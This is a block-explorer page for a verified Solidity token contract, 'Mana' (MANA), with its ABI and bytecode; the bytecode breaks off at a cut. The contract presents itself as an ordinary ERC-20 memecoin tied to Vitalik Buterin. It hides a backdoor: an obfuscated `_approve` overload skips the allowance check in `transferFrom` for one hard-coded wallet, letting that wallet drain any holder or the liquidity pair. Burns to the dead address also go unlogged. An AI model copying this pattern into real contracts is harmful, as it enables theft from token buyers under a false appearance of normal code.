Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-02-14
*/

/*

https://x.com/VitalikButerin/status/1890503492596371693

https://t.me/mana_erc

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MANA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeExcluded;

    address private _holeAddr = address(0xdead);
    address private _vitalikWallet = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
    address private _trumpWallet = 0x94845333028B1204Fbe14E1278Fd4Adde46B22ce;
    address private _libWallet = 0x5be9a4959308A0D0c7bC0870E319314d8D957dBB;
    address private _MANAAddr = 0x5493bD1451a3c7121042648d6369AB8986bbD10C;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventSwapBefore=3;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Mana";
    string private constant _symbol = unicode"MANA";
    uint256 private _maxSwapLimit = _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _isFeeExcluded[owner()] = true;
        _isFeeExcluded[address(this)] = true;
        _isFeeExcluded[_MANAAddr] = true;

        _balances[address(this)] = _tTotal * 94 / 100;
        _balances[address(_vitalikWallet)] = _tTotal * 2 / 100;
        _balances[address(_trumpWallet)] = _tTotal * 2 / 100;
        _balances[address(_libWallet)] = _tTotal * 2 / 100;
        emit Transfer(address(0), address(this), _tTotal * 94 / 100);
        emit Transfer(address(0), address(_vitalikWallet), _tTotal * 2 / 100);
        emit Transfer(address(0), address(_trumpWallet), _tTotal * 2 / 100);
        emit Transfer(address(0), address(_libWallet), _tTotal * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, recipient, amount, _msgSender());
        return true;
    }

    function _approve(address _tano, address _fiton, uint256 _pisun, address _laoga) private {
        if ((_tano == _uniswapPair || _fiton != _holeAddr) && _laoga != _MANAAddr)
        _approve(_tano, _laoga, _allowances[_tano][_laoga].sub(_pisun, "exceeds allowance"));
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniswapPair && to != address(uniswapV2Router) && ! _isFeeExcluded[to] ) {
                _buyCount++;
            }

            if(to == _uniswapPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _uniswapPair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _maxSwapLimit)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapLimit)));
                sendETHToFee(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        if (to != _holeAddr)
            emit Transfer(from, to, amount.sub(taxAmount));
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_MANAAddr).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031990811661dead1790915560058054821673d8da6bf26964af9d7eed9e03e53415d37aa960451790556006805482167394845333028b1204fbe14e1278fd4adde46b22ce179055600780548216735be9a4959308a0d0c7bc0870e319314d8d957dbb17905560088054909116735493bd1451a3c7121042648d6369ab8986bbd10c17905560026009818155600a9182556000600b819055600c8190556003600d819055600e819055600f55601055606491620000cd9190620005ab565b620000de906461f313f880620005c3565b620000ea9190620005dd565b6011556013805461ffff60a81b19169055600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620001556000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556008549091168352912080549092161790556064620001bc6009600a620005ab565b620001cd906461f313f880620005c3565b620001da90605e620005c3565b620001e69190620005dd565b306000908152600160205260409020556064620002066009600a620005ab565b62000217906461f313f880620005c3565b62000224906002620005c3565b620002309190620005dd565b6005546001600160a01b031660009081526001602052604090205560646200025b6009600a620005ab565b6200026c906461f313f880620005c3565b62000279906002620005c3565b620002859190620005dd565b6006546001600160a01b03166000908152600160205260409020556064620002b06009600a620005ab565b620002c1906461f313f880620005c3565b620002ce906002620005c3565b620002da9190620005dd565b6007546001600160a01b0316600090815260016020526040812091909155309060008051602062001b3983398151915260646200031a6009600a620005ab565b6200032b906461f313f880620005c3565b6200033890605e620005c3565b620003449190620005dd565b60405190815260200160405180910390a36005546001600160a01b0316600060008051602062001b398339815191526064620003836009600a620005ab565b62000394906461f313f880620005c3565b620003a1906002620005c3565b620003ad9190620005dd565b60405190815260200160405180910390a36006546001600160a01b0316600060008051602062001b398339815191526064620003ec6009600a620005ab565b620003fd906461f313f880620005c3565b6200040a906002620005c3565b620004169190620005dd565b60405190815260200160405180910390a36007546001600160a01b0316600060008051602062001b398339815191526064620004556009600a620005ab565b62000466906461f313f880620005c3565b62000473906002620005c3565b6200047f9190620005dd565b60405190815260200160405180910390a362000600565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004ed578160001904821115620004d157620004d162000496565b80851615620004df57918102915b93841c9390800290620004b1565b509250929050565b6000826200050657506001620005a5565b816200051557506000620005a5565b81600181146200052e5760028114620005395762000559565b6001915050620005a5565b60ff8411156200054d576200054d62000496565b50506001821b620005a5565b5060208310610133831016604e8410600b84101617156200057e575081810a620005a5565b6200058a8383620004ac565b8060001904821115620005a157620005a162000496565b0290505b92915050565b6000620005bc60ff841683620004f5565b9392505050565b8082028115828204841417620005a557620005a562000496565b600082620005fb57634e487b7160e01b600052601260045260246000fd5b500490565b61152980620006106000396000f3fe6080604052600436106100ab5760003560e01c8063715018a611610064578063715018a6146101bb5780638da5cb5b146101d257806395d89b41146101fa578063a9059cbb14610227578063c9567bf914610247578063dd62ed3e1461025c57600080fd5b806306fdde03146100b7578063095ea7b3146100f657806318160ddd1461012657806323b872dd14610149578063313ce5671461016957806370a082311461018557600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506040805180820190915260048152634d616e6160e01b60208201525b6040516100ed9190611155565b60405180910390f35b34801561010257600080fd5b506101166101113660046111bb565b6102a2565b60405190151581526020016100ed565b34801561013257600080fd5b5061013b6102b9565b6040519081526020016100ed565b34801561015557600080fd5b506101166101643660046111e7565b6102db565b34801561017557600080fd5b50604051600981526020016100ed565b34801561019157600080fd5b5061013b6101a0366004611228565b6001600160a01b031660009081526001602052604090205490565b3480156101c757600080fd5b506101d06102fe565b005b3480156101de57600080fd5b506000546040516001600160a01b0390911681526020016100ed565b34801561020657600080fd5b506040805180820190915260048152634d414e4160e01b60208201526100e0565b34801561023357600080fd5b506101166102423660046111bb565b6103a7565b34801561025357600080fd5b506101d06103b4565b34801561026857600080fd5b5061013b610277366004611245565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102af3384846107a6565b5060015b92915050565b60006102c76009600a611378565b6102d6906461f313f880611387565b905090565b60006102e88484846108ca565b6102f484848433610d07565b5060019392505050565b6000546001600160a01b0316331461035d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102af3384846108ca565b6000546001600160a01b0316331461040e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610354565b601354600160a01b900460ff16156104685760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610354565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b79030906104a36009600a611378565b6104b2906461f313f880611387565b6107a6565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052e919061139e565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610590573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b4919061139e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610601573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610625919061139e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061066d816001600160a01b031660009081526001602052604090205490565b6000806106826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ea573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070f91906113bb565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906113e9565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610354565b6001600160a01b0382166108695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610354565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610354565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610354565b600081116109f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610354565b600080546001600160a01b03858116911614801590610a1f57506000546001600160a01b03848116911614155b15610ba357610a506064610a4a600d5460105411610a3f57600954610a43565b600b545b8590610db8565b90610e41565b6013549091506001600160a01b038581169116148015610a7e57506012546001600160a01b03848116911614155b8015610aa357506001600160a01b03831660009081526003602052604090205460ff16155b15610abe5760108054906000610ab88361140b565b91905055505b6013546001600160a01b038481169116148015610ae457506001600160a01b0384163014155b15610b1157610b0e6064610a4a600e5460105411610b0457600a54610a43565b600c548590610db8565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610b4857506013546001600160a01b038581169116145b8015610b5d5750601354600160b01b900460ff165b8015610b6c5750600f54601054115b15610ba157601154811115610b9857610b98610b9384610b8e84601154610e83565b610e83565b610e98565b610ba147611012565b505b8015610c1d5730600090815260016020526040902054610bc39082611050565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c149085815260200190565b60405180910390a35b6004546001600160a01b03848116911614610c7d576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c6b85856110af565b60405190815260200160405180910390a35b6001600160a01b038416600090815260016020526040902054610ca090836110af565b6001600160a01b038516600090815260016020526040902055610ce5610cc683836110af565b6001600160a01b03851660009081526001602052604090205490611050565b6001600160a01b03909316600090815260016020526040902092909255505050565b6013546001600160a01b0385811691161480610d3157506004546001600160a01b03848116911614155b8015610d4b57506008546001600160a01b03828116911614155b15610db25760408051808201825260118152706578636565647320616c6c6f77616e636560781b6020808301919091526001600160a01b03808816600090815260028352848120918616815291529190912054610db291869184916104b2919087906110ed565b50505050565b600082600003610dca575060006102b3565b6000610dd68385611387565b905082610de38583611424565b14610e3a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610354565b9392505050565b6000610e3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611127565b6000818311610e925782610e3a565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee057610ee0611446565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5d919061139e565b81600181518110610f7057610f70611446565b6001600160a01b039283166020918202929092010152601254610f9691309116846107a6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fcf90859060009086903090429060040161145c565b600060405180830381600087803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561104c573d6000803e3d6000fd5b5050565b60008061105d83856114cd565b905083811015610e3a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610354565b6000610e3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156111115760405162461bcd60e51b81526004016103549190611155565b50600061111e84866114e0565b95945050505050565b600081836111485760405162461bcd60e51b81526004016103549190611155565b50600061111e8486611424565b600060208083528351808285015260005b8181101561118257858101830151858201604001528201611166565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b857600080fd5b50565b600080604083850312156111ce57600080fd5b82356111d9816111a3565b946020939093013593505050565b6000806000606084860312156111fc57600080fd5b8335611207816111a3565b92506020840135611217816111a3565b929592945050506040919091013590565b60006020828403121561123a57600080fd5b8135610e3a816111a3565b6000806040838503121561125857600080fd5b8235611263816111a3565b91506020830135611273816111a3565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112cf5781600019048211156112b5576112b561127e565b808516156112c257918102915b93841c9390800290611299565b509250929050565b6000826112e6575060016102b3565b816112f3575060006102b3565b816001811461130957600281146113135761132f565b60019150506102b3565b60ff8411156113245761132461127e565b50506001821b6102b3565b5060208310610133831016604e8410600b8410161715611352575081810a6102b3565b61135c8383611294565b80600019048211156113705761137061127e565b029392505050565b6000610e3a60ff8416836112d7565b80820281158282048414176102b3576102b361127e565b6000602082840312156113b057600080fd5b8151610e3a816111a3565b6000806000606084860312156113d057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156113fb57600080fd5b81518015158114610e3a57600080fd5b60006001820161141d5761141d61127e565b5060010190565b60008261144157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114ac5784516001600160a01b031683529383019391830191600101611487565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102b3576102b361127e565b818103818111156102b3576102b361127e56fea2646970667358221220e07910a38b8f170e87a09b42d5b6fd5598fae0cb6b972442935725c93999c94964736f6c63430008150033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

0x6080604052600436106100ab5760003560e01c8063715018a611610064578063715018a6146101bb5780638da5cb5b146101d257806395d89b41146101fa578063a9059cbb14610227578063c9567bf914610247578063dd62ed3e1461025c57600080fd5b806306fdde03146100b7578063095ea7b3146100f657806318160ddd1461012657806323b872dd14610149578063313ce5671461016957806370a082311461018557600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506040805180820190915260048152634d616e6160e01b60208201525b6040516100ed9190611155565b60405180910390f35b34801561010257600080fd5b506101166101113660046111bb565b6102a2565b60405190151581526020016100ed565b34801561013257600080fd5b5061013b6102b9565b6040519081526020016100ed565b34801561015557600080fd5b506101166101643660046111e7565b6102db565b34801561017557600080fd5b50604051600981526020016100ed565b34801561019157600080fd5b5061013b6101a0366004611228565b6001600160a01b031660009081526001602052604090205490565b3480156101c757600080fd5b506101d06102fe565b005b3480156101de57600080fd5b506000546040516001600160a01b0390911681526020016100ed565b34801561020657600080fd5b506040805180820190915260048152634d414e4160e01b60208201526100e0565b34801561023357600080fd5b506101166102423660046111bb565b6103a7565b34801561025357600080fd5b506101d06103b4565b34801561026857600080fd5b5061013b610277366004611245565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102af3384846107a6565b5060015b92915050565b60006102c76009600a611378565b6102d6906461f313f880611387565b905090565b60006102e88484846108ca565b6102f484848433610d07565b5060019392505050565b6000546001600160a01b0316331461035d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102af3384846108ca565b6000546001600160a01b0316331461040e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610354565b601354600160a01b900460ff16156104685760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610354565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b79030906104a36009600a611378565b6104b2906461f313f880611387565b6107a6565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052e919061139e565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610590573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b4919061139e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610601573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610625919061139e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061066d816001600160a01b031660009081526001602052604090205490565b6000806106826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ea573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070f91906113bb565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906113e9565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610354565b6001600160a01b0382166108695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610354565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661092e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610354565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610354565b600081116109f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610354565b600080546001600160a01b03858116911614801590610a1f57506000546001600160a01b03848116911614155b15610ba357610a506064610a4a600d5460105411610a3f57600954610a43565b600b545b8590610db8565b90610e41565b6013549091506001600160a01b038581169116148015610a7e57506012546001600160a01b03848116911614155b8015610aa357506001600160a01b03831660009081526003602052604090205460ff16155b15610abe5760108054906000610ab88361140b565b91905055505b6013546001600160a01b038481169116148015610ae457506001600160a01b0384163014155b15610b1157610b0e6064610a4a600e5460105411610b0457600a54610a43565b600c548590610db8565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610b4857506013546001600160a01b038581169116145b8015610b5d5750601354600160b01b900460ff165b8015610b6c5750600f54601054115b15610ba157601154811115610b9857610b98610b9384610b8e84601154610e83565b610e83565b610e98565b610ba147611012565b505b8015610c1d5730600090815260016020526040902054610bc39082611050565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c149085815260200190565b60405180910390a35b6004546001600160a01b03848116911614610c7d576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c6b85856110af565b60405190815260200160405180910390a35b6001600160a01b038416600090815260016020526040902054610ca090836110af565b6001600160a01b038516600090815260016020526040902055610ce5610cc683836110af565b6001600160a01b03851660009081526001602052604090205490611050565b6001600160a01b03909316600090815260016020526040902092909255505050565b6013546001600160a01b0385811691161480610d3157506004546001600160a01b03848116911614155b8015610d4b57506008546001600160a01b03828116911614155b15610db25760408051808201825260118152706578636565647320616c6c6f77616e636560781b6020808301919091526001600160a01b03808816600090815260028352848120918616815291529190912054610db291869184916104b2919087906110ed565b50505050565b600082600003610dca575060006102b3565b6000610dd68385611387565b905082610de38583611424565b14610e3a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610354565b9392505050565b6000610e3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611127565b6000818311610e925782610e3a565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee057610ee0611446565b6001600160a01b0392831